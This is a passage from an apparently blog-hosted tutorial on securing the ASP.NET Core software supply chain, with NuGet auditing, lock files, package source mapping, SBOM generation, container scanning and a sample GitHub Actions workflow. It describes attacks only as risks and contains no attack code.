11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Every stage introduces potential risks.</p><p>A source repository may be compromised.</p><p>A package may be malicious or vulnerable.</p><p>A build runner may expose credentials.</p><p>An artifact may be replaced after testing.</p><p>A container may contain vulnerable operating system packages.</p><p>A deployment pipeline may release an unverified artifact.</p><p>Software supply chain security attempts to reduce these risks through controls applied throughout the delivery process.</p><h2>Direct Dependencies Versus Transitive Dependencies</h2><p>Let&#8217;s begin with NuGet.</p><p>An ASP.NET Core project might reference several packages directly.</p><pre><code><code>&lt;ItemGroup&gt;
  &lt;PackageReference
      Include="Microsoft.EntityFrameworkCore.SqlServer"
      Version="10.0.0" /&gt;

  &lt;PackageReference
      Include="Serilog.AspNetCore"
      Version="10.0.0" /&gt;
&lt;/ItemGroup&gt;</code></code></pre><p>These are direct dependencies.</p><p>But the packages may require other packages to function.</p><p>Those additional packages are transitive dependencies.</p><p>For example:</p><pre><code><code>FinancialReporting.Api
    |
    +-- Package A
    |      |
    |      +-- Package B
    |             |
    |             +-- Package C
    |
    +-- Package D
           |
           +-- Package E</code></code></pre><p>The application directly references Packages A and D.</p><p>But Packages B, C, and E may also become part of the resolved dependency graph.</p><p>A vulnerability in Package C can affect the application even though the developer never added Package C explicitly.</p><p>This is why reviewing only the package references in the project file is insufficient.</p><p>We need visibility into the complete dependency graph.</p><h2>Step 1: Inspect the Dependency Graph</h2><p>The .NET SDK provides commands for inspecting project dependencies.</p><p>For .NET 10, use:</p><pre><code><code>dotnet package list</code></code></pre><p>To include transitive dependencies:</p><pre><code><code>dotnet package list --include-transitive</code></code></pre><p>For older SDK versions, the equivalent command commonly uses:</p><pre><code><code>dotnet list package --include-transitive</code></code></pre><p>The output identifies packages resolved for the project, including their versions.</p><p>This helps answer important questions.</p><p>Which packages does the application use?</p><p>Which versions were selected?</p><p>Are unexpected packages present?</p><p>Do multiple projects depend on different versions of the same library?</p><p>However, the package list is only the starting point.</p><p>A complete security workflow must also examine known vulnerabilities, package origins, and build integrity.</p><h2>Step 2: Audit NuGet Dependencies</h2><p>NuGet supports auditing dependencies against known vulnerability information.</p><p>For a .NET 10 project, configure auditing explicitly:</p><pre><code><code>&lt;PropertyGroup&gt;
  &lt;NuGetAudit&gt;true&lt;/NuGetAudit&gt;
  &lt;NuGetAuditLevel&gt;moderate&lt;/NuGetAuditLevel&gt;
  &lt;NuGetAuditMode&gt;all&lt;/NuGetAuditMode&gt;
&lt;/PropertyGroup&gt;</code></code></pre><p><code>NuGetAudit</code> enables auditing during restore.</p><p><code>NuGetAuditLevel</code> controls the minimum vulnerability severity reported.</p><p><code>NuGetAuditMode</code> controls whether auditing covers direct dependencies or the broader dependency graph.</p><p>The <code>all</code> setting is especially useful because transitive dependencies can introduce significant risk.</p><p>Then run:</p><pre><code><code>dotnet restore</code></code></pre><p>NuGet can report vulnerabilities associated with resolved package versions.</p><p>You can also request a vulnerability-focused listing:</p><pre><code><code>dotnet package list --vulnerable --include-transitive</code></code></pre><p>A vulnerability report is not proof that an application is exploitable.</p><p>A vulnerable function may not be reachable in the application&#8217;s execution path.</p><p>But a report identifies a risk that requires investigation.</p><p>The next step is to determine whether the dependency can be updated, replaced, removed, or otherwise mitigated.</p><h2>Understanding Vulnerability Severity</h2><p>Vulnerability advisories often classify issues by severity.</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;5a1e9751-17ed-4ea7-8c93-fc2bc2d4e3f9&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">Severity           Typical response
Critical           Immediate investigation and prioritized remediation
High               Urgent remediation based on exposure
Moderate           Scheduled remediation with risk assessment
Low                Track and resolve according to policy</code></pre></div><p>Severity alone is not enough.</p><p>Consider two vulnerabilities.</p><p>The first affects a package used only by an internal development utility.</p><p>The second affects an internet-facing request-processing component.</p><p>Even if their reported severities are similar, the operational risks may differ substantially.</p><p>A useful assessment considers exploitability, exposure, affected functionality, available fixes, and business impact.</p><p>For a financial reporting application, a vulnerability that could expose customer data deserves particular attention.</p><p>The objective is not simply to eliminate warning messages.</p><p>It is to reduce meaningful security risk.</p><h2>Step 3: Centralize NuGet Package Versions</h2><p>Large ASP.NET Core solutions often contain multiple projects.</p><p>For example:</p><pre><code><code>FinancialPlatform/
    |
    +-- FinancialPlatform.Api/
    +-- FinancialPlatform.Application/
    +-- FinancialPlatform.Infrastructure/
    +-- FinancialPlatform.Worker/
    +-- FinancialPlatform.Tests/</code></code></pre><p>If every project declares package versions independently, version drift becomes more likely.</p><p>One project may use an older logging library.</p><p>Another may use a newer version.</p><p>A third may reference an outdated database provider.</p><p>Central Package Management helps maintain consistency.</p><p>Create a <code>Directory.Packages.props</code> file at the solution root.</p><pre><code><code>&lt;Project&gt;
  &lt;PropertyGroup&gt;
    &lt;ManagePackageVersionsCentrally&gt;
      true
    &lt;/ManagePackageVersionsCentrally&gt;
  &lt;/PropertyGroup&gt;

  &lt;ItemGroup&gt;
    &lt;PackageVersion
        Include="Microsoft.EntityFrameworkCore.SqlServer"
        Version="10.0.0" /&gt;

    &lt;PackageVersion
        Include="Serilog.AspNetCore"
        Version="10.0.0" /&gt;
  &lt;/ItemGroup&gt;
&lt;/Project&gt;</code></code></pre><p>Individual projects can reference packages without specifying versions.</p><pre><code><code>&lt;ItemGroup&gt;
  &lt;PackageReference
      Include="Microsoft.EntityFrameworkCore.SqlServer" /&gt;

  &lt;PackageReference
      Include="Serilog.AspNetCore" /&gt;
&lt;/ItemGroup&gt;</code></code></pre><p>This makes dependency versions easier to review and update.</p><p>Central management does not automatically make packages secure.</p><p>But it reduces configuration inconsistency and creates a clearer place for dependency governance.</p><h2>Step 4: Use NuGet Lock Files</h2><p>Even with centralized package versions, applications need a reproducible dependency resolution process.</p><p>NuGet lock files record the resolved package dependency graph.</p><p>Enable them in the project:</p><pre><code><code>&lt;PropertyGroup&gt;
  &lt;RestorePackagesWithLockFile&gt;
    true
  &lt;/RestorePackagesWithLockFile&gt;
&lt;/PropertyGroup&gt;</code></code></pre><p>Then restore:</p><pre><code><code>dotnet restore</code></code></pre><p>NuGet generates a <code>packages.lock.json</code> file.</p><p>For application projects, commit the lock file to source control.</p><p>In CI, use locked mode:</p><pre><code><code>dotnet restore --locked-mode</code></code></pre><p>Locked mode verifies that the resolved dependencies match the lock file.</p><p>If project dependency requirements change without an appropriate lock file update, restore fails rather than silently changing the locked graph.</p><p>This improves reproducibility.</p><p>But lock files are not cryptographic proof that a package publisher is trustworthy.</p><p>They also do not replace package auditing or artifact verification.</p><p>They solve a different problem: ensuring that dependency resolution remains consistent with the reviewed state.</p><h2>Step 5: Control Package Sources</h2><p>NuGet can restore packages from public and private feeds.</p><p>A typical enterprise application might use both.</p><p>For example:</p><pre><code><code>nuget.org
    |
    +-- Public libraries

Company package feed
    |
    +-- Internal shared libraries</code></code></pre><p>This creates a dependency confusion risk.</p><p>Suppose an internal application references a package named:</p><pre><code><code>Company.Financial.Core</code></code></pre><p>If the build environment also searches a public feed for that package name, an attacker may attempt to publish a malicious package using the same identifier.</p><p>Package Source Mapping helps control which package IDs are allowed to come from which sources.</p><p>Create a <code>NuGet.Config</code> file:</p><pre><code><code>&lt;?xml version="1.0" encoding="utf-8"?&gt;

&lt;configuration&gt;
  &lt;packageSources&gt;
    &lt;clear /&gt;

    &lt;add
      key="nuget.org"
      value="https://api.nuget.org/v3/index.json" /&gt;

    &lt;add
      key="company"
      value="https://packages.example.com/v3/index.json" /&gt;
  &lt;/packageSources&gt;

  &lt;packageSourceMapping&gt;
    &lt;packageSource key="nuget.org"&gt;
      &lt;package pattern="*" /&gt;
    &lt;/packageSource&gt;

    &lt;packageSource key="company"&gt;
      &lt;package pattern="Company.*" /&gt;
    &lt;/packageSource&gt;
  &lt;/packageSourceMapping&gt;
&lt;/configuration&gt;</code></code></pre><p>This demonstrates the configuration structure, but the patterns overlap.</p><p>Because <code>*</code> matches all packages, a more specific <code>Company.*</code> mapping takes precedence for those IDs under NuGet&#8217;s source mapping rules.</p><p>For stronger control, define explicit ownership conventions and test how the mappings resolve in your environment.</p><p>An even clearer policy can use distinct internal package prefixes and carefully scoped public package mappings.</p><p>The objective is to ensure that internal packages cannot unexpectedly resolve from an untrusted public source.</p><h2>Why Package Provenance Matters</h2><p>Knowing a package&#8217;s name and version is not the same as knowing its origin.</p><p>Consider:</p><pre><code><code>Company.Financial.Core 4.2.0</code></code></pre><p>The version number alone does not answer:</p><p>Who published the package?</p><p>Which source repository produced it?</p><p>Which build pipeline created it?</p><p>Was the artifact modified after the build?</p><p>Was it approved for release?</p><p>These questions concern provenance.</p><p>Provenance describes where an artifact came from and how it was produced.</p><p>A mature software supply chain records provenance information and uses it to make release decisions.</p><p>For internal packages, this may include source commit identifiers, build workflow identities, artifact digests, and attestations.</p><p>For third-party packages, teams should evaluate the trustworthiness of the publisher, package source, maintenance practices, and available integrity information.</p><h2>Step 6: Understand NuGet Package Signing</h2><p>NuGet supports signed packages.</p><p>Package signing provides cryptographic information that can help verify package integrity and signer identity.</p><p>This is useful because a package can be distributed through several systems before reaching the application build.</p><p>A signed package contains signature information that can be validated against the appropriate trust requirements.</p><p>But signing has limitations.</p><p>A valid signature does not prove that a package contains safe code.</p><p>A malicious publisher can sign a malicious package.</p><p>A legitimate publisher can accidentally release vulnerable code.</p><p>Signing helps answer questions about integrity and identity.</p><p>It does not replace code review, vulnerability analysis, or publisher assessment.</p><h2>Verifying Package Signatures</h2><p>NuGet provides signature verification capabilities.</p><p>For example:</p><pre><code><code>dotnet nuget verify package.nupkg</code></code></pre><p>A stricter verification workflow can use:</p><pre><code><code>dotnet nuget verify package.nupkg --all</code></code></pre><p>The exact verification behavior depends on the SDK, platform trust configuration, and signature requirements.</p><p>Organizations should establish policies defining which signatures and trust chains are acceptable.</p><p>Verification should occur in controlled build environments with appropriate trust configuration.</p><p>Do not assume that successfully downloading a package means its origin and integrity satisfy your organization&#8217;s requirements.</p><h2>Step 7: Create a Software Bill of Materials</h2><p>Now let&#8217;s address one of the most important supply chain security tools.</p><p>An SBOM, or Software Bill of Materials, is an inventory of software components.</p><p>Think of it as an ingredient list for an application.</p><p>A packaged food product lists its ingredients.</p><p>An SBOM lists the software components that contribute to a release.</p><p>For an ASP.NET Core application, an SBOM may include NuGet dependencies, runtime components, operating system packages, and other relevant software.</p><p>Common SBOM formats include SPDX and CycloneDX.</p><p>An SBOM helps organizations understand what is inside a software release.</p><p>This becomes especially valuable when a new vulnerability is disclosed.</p><p>Instead of manually inspecting hundreds of repositories, a security team can search its SBOM inventory to identify potentially affected applications.</p><h2>A Simple SBOM Example</h2><p>An SBOM is a structured document.</p><p>A simplified CycloneDX-style example might look like this:</p><pre><code><code>{
  "bomFormat": "CycloneDX",
  "specVersion": "1.6",
  "version": 1,
  "components": [
    {
      "type": "library",
      "name": "Microsoft.EntityFrameworkCore.SqlServer",
      "version": "10.0.0",
      "purl": "pkg:nuget/Microsoft.EntityFrameworkCore.SqlServer@10.0.0"
    },
    {
      "type": "library",
      "name": "Serilog.AspNetCore",
      "version": "10.0.0",
      "purl": "pkg:nuget/Serilog.AspNetCore@10.0.0"
    }
  ]
}</code></code></pre><p>This is an illustrative fragment, not a complete release SBOM.</p><p>A real SBOM may contain component identifiers, dependency relationships, hashes, licenses, metadata, and other information.</p><p>The format makes the inventory machine-readable.</p><p>Security tools can then compare components against vulnerability databases and policy requirements.</p><h2>Step 8: Generate an SBOM for an ASP.NET Core Project</h2><p>One option is to use a maintained CycloneDX tool for .NET.</p><p>Install the tool using the version approved by your organization.</p><p>For example:</p><pre><code><code>dotnet tool install --global CycloneDX</code></code></pre><p>Then generate an SBOM for the solution:</p><pre><code><code>dotnet CycloneDX FinancialPlatform.sln \
    -o ./sbom</code></code></pre><p>Tool options and supported formats can vary by release, so verify the command against the installed tool version.</p><p>For production workflows, pin the tool version rather than allowing the build to install an unreviewed latest release.</p><p>The generated SBOM should be associated with the specific application build.</p><p>That distinction is important.</p><p>An SBOM generated from the current source tree may not describe an older artifact already running in production.</p><p>A useful SBOM identifies the components of a particular release.</p><h2>Source SBOMs Versus Deployment SBOMs</h2><p>A source-level dependency inventory and a deployed application inventory are not always identical.</p><p>Consider an ASP.NET Core application packaged into a Linux container.</p><p>The .NET project may use several NuGet packages.</p><p>But the final container also contains operating system libraries and runtime components.</p><p>Those components may introduce vulnerabilities unrelated to NuGet.</p><p>For example:</p><pre><code><code>ASP.NET Core application
    |
    +-- NuGet dependencies
    |
    +-- .NET runtime components
    |
    +-- Linux operating system packages
    |
    +-- Native libraries</code></code></pre><p>An SBOM generated only from the .NET solution may not include everything in the deployed container.</p><p>For stronger coverage, generate or obtain an SBOM for the final container image as well.</p><p>This gives the security team visibility into the software that actually reaches production.</p><h2>Step 9: Scan the Container Image</h2><p>Suppose the application uses a Dockerfile:</p><pre><code><code>FROM mcr.microsoft.com/dotnet/sdk:10.0 AS build

WORKDIR /src

COPY . .

RUN dotnet restore

RUN dotnet publish \
    -c Release \
    -o /app/publish \
    --no-restore

FROM mcr.microsoft.com/dotnet/aspnet:10.0

WORKDIR /app

COPY --from=build \
    /app/publish .

ENTRYPOINT ["dotnet", "FinancialPlatform.Api.dll"]</code></code></pre><p>This is a simplified multi-stage Dockerfile.</p><p>The SDK image builds the application.</p><p>The runtime image hosts it.</p><p>In our previous article on <em><a href="https://www.asptoday.com/p/native-aot-in-aspnet-core-faster">Native AOT in ASP.NET Core: Faster Startup, Smaller Containers, and the Trade-Offs</a></em>, we explored how ahead-of-time compilation can reduce startup time and deployment size. Smaller artifacts can reduce unnecessary components, but they still require dependency auditing, vulnerability scanning, and regular security updates.</p><p>The final image does not need the entire SDK.</p><p>That reduces unnecessary build tooling in production.</p><p>However, the runtime image may still contain operating system components with vulnerabilities.</p><p>A container scanner can inspect the final image.</p><p>For example, using Trivy:</p><pre><code><code>trivy image \
    --severity HIGH,CRITICAL \
    financial-platform:1.0.0</code></code></pre><p>The scanner may identify vulnerable operating system packages and supported application dependencies.</p><p>The results should be reviewed against the actual deployment context.</p><p>A scan is a snapshot based on the vulnerability information available at that time.</p><p>A clean result today does not guarantee that the image will remain free of known vulnerabilities tomorrow.</p><h2>Step 10: Pin Container Images by Digest</h2><p>Container image tags are convenient.</p><p>For example:</p><pre><code><code>FROM mcr.microsoft.com/dotnet/aspnet:10.0</code></code></pre><p>But tags can point to different image contents over time.</p><p>A digest identifies specific image content.</p><p>For reproducible builds, an organization can pin an approved image digest.</p><p>Conceptually:</p><pre><code><code>FROM mcr.microsoft.com/dotnet/aspnet:10.0@sha256:REPLACE_WITH_APPROVED_DIGEST</code></code></pre><p>The digest must be obtained from the actual trusted image and verified for the intended platform.</p><p>Do not copy an arbitrary digest from an unrelated environment.</p><p>Digest pinning helps ensure that the build uses the reviewed image content.</p><p>But it introduces a maintenance responsibility.</p><p>If a base image is pinned indefinitely, security updates may never reach the application.</p><p>A secure workflow combines digest pinning with regular image updates and vulnerability scanning.</p><h2>Step 11: Secure the CI/CD Pipeline</h2><p>The build pipeline is part of the software supply chain.</p><p>It can access source code, dependencies, package feeds, signing credentials, and deployment environments.</p><p>If an attacker compromises the pipeline, they may be able to produce or deploy malicious artifacts.</p><p>For that reason, CI/CD security deserves the same attention as application security.</p><p>A strong pipeline should use least-privilege permissions, protected branches, reviewed workflow changes, short-lived credentials where possible, and controlled access to secrets.</p><p>Build runners should be isolated appropriately.</p><p>Third-party build actions should be reviewed and pinned according to organizational policy.</p><p>Production deployments should require authorized workflows.</p><p>The pipeline should also record which source commit produced each release artifact.</p><h2>Building a Secure GitHub Actions Workflow</h2><p>Let&#8217;s create a simplified ASP.NET Core CI workflow.</p><pre><code><code>name: ASP.NET Core Supply Chain Security

on:
  push:
    branches: [main]

  pull_request:
    branches: [main]

permissions:
  contents: read

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout
        uses: actions/checkout@v4

      - name: Setup .NET
        uses: actions/setup-dotnet@v4
        with:
          dotnet-version: '10.0.x'

      - name: Restore dependencies
        run: dotnet restore --locked-mode

      - name: List vulnerable packages
        run: &gt;
          dotnet package list
          --vulnerable
          --include-transitive

      - name: Build
        run: &gt;
          dotnet build
          --configuration Release
          --no-restore

      - name: Test
        run: &gt;
          dotnet test
          --configuration Release
          --no-build

      - name: Publish
        run: &gt;
          dotnet publish
          FinancialPlatform.Api/FinancialPlatform.Api.csproj
          --configuration Release
          --no-build
          --output ./publish</code></code></pre><p>This workflow demonstrates the basic structure.</p><p>For production use, pin third-party actions to reviewed commit SHAs, configure package audit enforcement, and add SBOM generation, artifact verification, and deployment controls.</p><p>Also note that <code>dotnet package list --vulnerable</code> is a reporting command.</p><p>Its presence alone does not guarantee that every vulnerability causes the pipeline to fail.</p><p>Security gates must be configured deliberately.</p><h2>Step 12: Turn Audit Results Into Build Policies</h2><p>A security workflow should define what happens when a vulnerability is discovered.</p><p>For example, an organization may require all critical and high-severity vulnerabilities to be investigated before release.</p><p>Some findings may require immediate remediation.</p><p>Others may receive a documented exception after a risk assessment.</p><p>A practical policy might look like this:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;9048b70f-38ac-4e7d-b7f0-61c5c5eeb88f&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">Finding                      Pipeline action
Critical vulnerability       Block release unless formally approved
High vulnerability           Block or require documented exception
Moderate vulnerability       Track remediation deadline
Unapproved package source    Fail restore or policy validation
Missing SBOM                 Block production release
Unverified artifact          Block deployment</code></pre></div><p>These are example organizational policies, not defaults enforced automatically by .NET.</p><p>The implementation may involve NuGet warnings-as-errors, dedicated vulnerability scanners, policy-as-code tooling, and CI checks.</p><p>One important consideration is avoiding broad suppression.</p><p>Disabling all security warnings because one advisory is inconvenient can hide future problems.</p><p>Exceptions should be specific, documented, reviewed, and time-limited.</p><h2>Step 13: Treat Build Artifacts as Immutable</h2><p>Suppose the pipeline builds an ASP.NET Core application.</p><p>It runs tests.</p><p>It generates an SBOM.</p><p>It scans the container.</p><p>Everything passes.</p><p>Then a deployment script rebuilds the application from source.</p><p>That new build may resolve different inputs or run under different conditions.</p><p>The artifact deployed to production is no longer necessarily the artifact that was tested.</p><p>A stronger approach is to build once and promote the same verified artifact through environments.</p><pre><code><code>Source commit
     |
     v
Build artifact
     |
     v
Test and scan
     |
     v
Sign and attest
     |
     v
Staging
     |
     v
Production</code></code></pre><p>The artifact should retain a stable digest.</p><p>Deployment systems can verify that the artifact matches the approved release.</p><p>This reduces the risk of changes between testing and deployment.</p><h2>Step 14: Understand Artifact Signing and Attestations</h2><p>Package signing and artifact signing are related but distinct.</p><p>NuGet package signing helps verify package integrity and signer information.</p><p>Artifact signing can protect the integrity of the application package or container image produced by the organization&#8217;s own pipeline.</p><p>An attestation provides a statement about an artifact.</p><p>For example, an attestation may associate an artifact digest with a build workflow, source repository, and build environment.</p><p>Tools and ecosystems such as Sigstore and SLSA provide approaches for improving artifact identity and provenance.</p><p>A mature release workflow can use these mechanisms to establish stronger trust in the software being deployed.</p><p>But a signature is only meaningful when the verifier checks the expected identity and trust policy.</p><p>Accepting any cryptographically valid signature is not equivalent to verifying that an artifact came from an approved build process.</p><h2>Step 15: Separate Build and Deployment Permissions</h2><p>A common mistake is giving the build pipeline broad access to production.</p><p>For example, a workflow that runs on every pull request should not have unrestricted deployment credentials.</p><p>A safer design separates responsibilities.</p><p>The build job compiles and tests code.</p><p>The security job scans dependencies and artifacts.</p><p>The release job creates approved artifacts.</p><p>The deployment job uses narrowly scoped permissions to deploy those artifacts.</p><p>Where supported, short-lived identity-based credentials are preferable to long-lived secrets stored in CI configuration.</p><p>This reduces the damage an attacker can cause if a build job or third-party action is compromised.</p><h2>Step 16: Monitor Dependencies After Deployment</h2><p>Supply chain security does not end when an application is released.</p><p>A dependency that was considered safe during deployment may receive a vulnerability advisory later.</p><p>Suppose the financial reporting platform deployed version 4.2.0 last month.</p><p>A new vulnerability is disclosed in a transitive package today.</p><p>The organization needs to answer:</p><p>Which applications use the affected package?</p><p>Which deployed versions contain it?</p><p>Which environments are affected?</p><p>Who owns remediation?</p><p>How quickly can a corrected release be deployed?</p><p>SBOM inventories help answer these questions.</p><p>They allow teams to associate known components with specific releases.</p><p>Combined with vulnerability monitoring and asset inventories, they make post-deployment response more efficient.</p><h2>Step 17: Automate Dependency Updates Carefully</h2><p>Keeping dependencies current reduces exposure to known vulnerabilities.</p><p>Tools such as Dependabot and Renovate can propose dependency updates automatically.</p><p>For example, Dependabot can monitor NuGet dependencies using a configuration file.</p><pre><code><code>version: 2

updates:
  - package-ecosystem: "nuget"
    directory: "/"
    schedule:
      interval: "weekly"</code></code></pre><p>This example is a starting point.</p><p>The actual configuration should match the repository structure and update policy.</p><p>Automated updates should still pass through testing and review.</p><p>A newer package version is not automatically safer in every respect.</p><p>Updates can introduce breaking changes, behavioral differences, or new dependencies.</p><p>The goal is to reduce the time between identifying a risk and safely deploying a fix.</p><h2>The Risk of Abandoned Packages</h2><p>Not every dependency is actively maintained.</p><p>A package may continue to work for years without receiving updates.</p><p>That does not necessarily mean it is vulnerable.</p><p>But abandoned packages introduce long-term maintenance risks.</p><p>If a vulnerability is discovered, there may be no maintainer available to release a fix.</p><p>Before adopting a dependency, consider its maintenance activity, release history, ownership, licensing, and security response practices.</p><p>For critical functionality, organizations may prefer dependencies with clear maintenance commitments.</p><p>In some cases, replacing a small external package with carefully reviewed internal code may reduce long-term risk.</p><p>However, writing custom implementations of complex security functionality can introduce greater risk.</p><p>Dependency reduction should be based on technical judgment, not a blanket assumption that fewer packages always mean better security.</p><h2>Evaluating a New NuGet Package</h2><p>Let&#8217;s return to our financial reporting platform.</p><p>A developer proposes adding a new document-processing library.</p><p>Before approving the dependency, the team evaluates several factors.</p><p>Does the package come from an expected source?</p><p>Is the publisher identifiable?</p><p>Is the package maintained?</p><p>Does it have known vulnerabilities?</p><p>What transitive dependencies does it introduce?</p><p>Does its license satisfy organizational requirements?</p><p>Does it need unusual permissions or access to sensitive resources?</p><p>Could an existing approved dependency provide the same functionality?</p><p>This review does not need to become a lengthy manual process for every minor library.</p><p>Organizations can automate much of the evidence collection and apply deeper review to higher-risk dependencies.</p><p>The important point is that dependency adoption should be an intentional engineering decision.</p><h2>SBOMs and License Compliance</h2><p>SBOMs are useful beyond vulnerability management.</p><p>They can also support software license compliance.</p><p>An ASP.NET Core application may include dependencies distributed under different licenses.</p><p>Some licenses impose obligations concerning attribution, distribution, or source availability.</p><p>An SBOM can help identify which components require review.</p><p>However, an SBOM is not a legal determination.</p><p>License metadata may be incomplete or incorrect.</p><p>Organizations should use SBOM information as an input to their compliance process, not as a replacement for appropriate legal and licensing review.</p><h2>Protecting Internal NuGet Packages</h2><p>Many enterprise ASP.NET Core solutions use internal shared libraries.</p><p>For example:</p><pre><code><code>Company.Security
Company.Logging
Company.Messaging
Company.DataAccess</code></code></pre><p>These packages may be distributed through private feeds.</p><p>Internal packages deserve the same supply chain protections as public dependencies.</p><p>Use controlled publishing permissions.</p><p>Require reviewed source changes.</p><p>Build packages through approved pipelines.</p><p>Record package versions and provenance.</p><p>Protect package feed credentials.</p><p>Prevent unauthorized replacement of published artifacts.</p><p>Where supported, use immutable package versions and retention policies that preserve released artifacts.</p><p>A private package feed is not automatically secure simply because it is private.</p><p>Its publishing and access controls determine how trustworthy it is.</p><h2>Protecting Secrets in the Build Pipeline</h2><p>As discussed in <em><a href="https://www.asptoday.com/p/configuration-at-scale-in-aspnet">Configuration at Scale in ASP.NET Core: Dynamic Settings, Validation, and Safe Reloading</a></em>, managing application configuration safely becomes increasingly important as systems grow. The same principle applies to build pipelines, where credentials, package feed access, and deployment settings must be separated from source code and managed through controlled, auditable mechanisms.</p><p>Build pipelines often need access to private feeds and cloud services.</p><p>That access should not require embedding passwords in project files or repository configuration.</p><p>Avoid placing credentials directly in <code>NuGet.Config</code>.</p><p>Instead, use supported credential providers or secure CI secret mechanisms.</p><p>Prefer short-lived credentials when available.</p><p>Limit each credential to the resources and actions it requires.</p><p>Prevent secrets from appearing in build logs.</p><p>Be especially cautious when running workflows triggered by untrusted pull requests.</p><p>An attacker who can execute arbitrary code in a privileged build environment may be able to access credentials or modify build outputs.</p><h2>Incident Response for a Compromised Dependency</h2><p>Suppose a widely used NuGet package is found to contain malicious code.</p><p>What should the organization do?</p><p>First, identify affected applications and deployed versions.</p><p>Second, determine whether the malicious version was actually restored, built, or deployed.</p><p>Third, investigate the potential impact.</p><p>Fourth, block further use of the compromised package.</p><p>Fifth, rebuild affected applications using verified dependencies.</p><p>Sixth, rotate credentials or take other containment measures if the package could have accessed sensitive information.</p><p>Finally, review how the dependency entered the environment and improve the controls that failed to prevent or detect it.</p><p>SBOMs, lock files, package inventories, and build provenance can make this response significantly faster.</p><p>Without them, teams may spend critical hours reconstructing which software components were used.</p><h2>A Practical Supply Chain Security Checklist</h2><p>Before deploying an ASP.NET Core application, verify that the following controls are in place.</p><ul><li><p>Direct and transitive NuGet dependencies are inventoried.</p></li><li><p>Known dependency vulnerabilities are audited.</p></li><li><p>Package versions are centrally managed where appropriate.</p></li><li><p>Lock files are used for reproducible application restores.</p></li><li><p>Package sources are controlled and reviewed.</p></li><li><p>Internal packages have protected publishing workflows.</p></li><li><p>An SBOM is generated for each release.</p></li><li><p>Container images are scanned and regularly updated.</p></li><li><p>Build artifacts are traceable to source commits.</p></li><li><p>Release artifacts are verified before deployment.</p></li><li><p>CI/CD permissions follow least-privilege principles.</p></li><li><p>Dependency updates and vulnerability monitoring continue after deployment.</p></li><li><p>Security exceptions are documented and time-limited.</p></li><li><p>Incident response procedures cover compromised dependencies.</p></li></ul><p>This checklist is not a certification standard.</p><p>It is a practical starting point for establishing consistent software supply chain controls.</p><h2>Bringing Everything Together: A Production-Ready Supply Chain</h2><p>Let&#8217;s combine these practices into a realistic delivery process for our financial reporting platform.</p><p>The development team manages NuGet versions centrally using <code>Directory.Packages.props</code>.</p><p>Application projects commit their dependency lock files.</p><p>Every pull request triggers dependency auditing, compilation, and automated tests.</p><p>Package Source Mapping restricts where internal packages can be restored from.</p><p>When a change is merged into the protected main branch, an approved build pipeline creates the application artifact.</p><p>The pipeline generates an SBOM, scans the final container image, and records the source commit and artifact digest.</p><p>The release process applies the organization&#8217;s vulnerability and compliance policies.</p><p>Approved artifacts are signed or accompanied by verifiable provenance attestations.</p><p>The deployment system promotes the same tested artifact into staging and production.</p><p>After deployment, vulnerability monitoring continues.</p><p>When a new advisory affects a dependency, the team can identify the affected application versions and prioritize remediation. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2ZiS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22c4f997-6e31-4181-8c35-e55c53d364c2_707x697.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2ZiS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22c4f997-6e31-4181-8c35-e55c53d364c2_707x697.png 424w, https://substackcdn.com/image/fetch/$s_!2ZiS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22c4f997-6e31-4181-8c35-e55c53d364c2_707x697.png 848w, https://substackcdn.com/image/fetch/$s_!2ZiS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22c4f997-6e31-4181-8c35-e55c53d364c2_707x697.png 1272w, https://substackcdn.com/image/fetch/$s_!2ZiS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22c4f997-6e31-4181-8c35-e55c53d364c2_707x697.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!2ZiS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22c4f997-6e31-4181-8c35-e55c53d364c2_707x697.png" width="707" height="697" 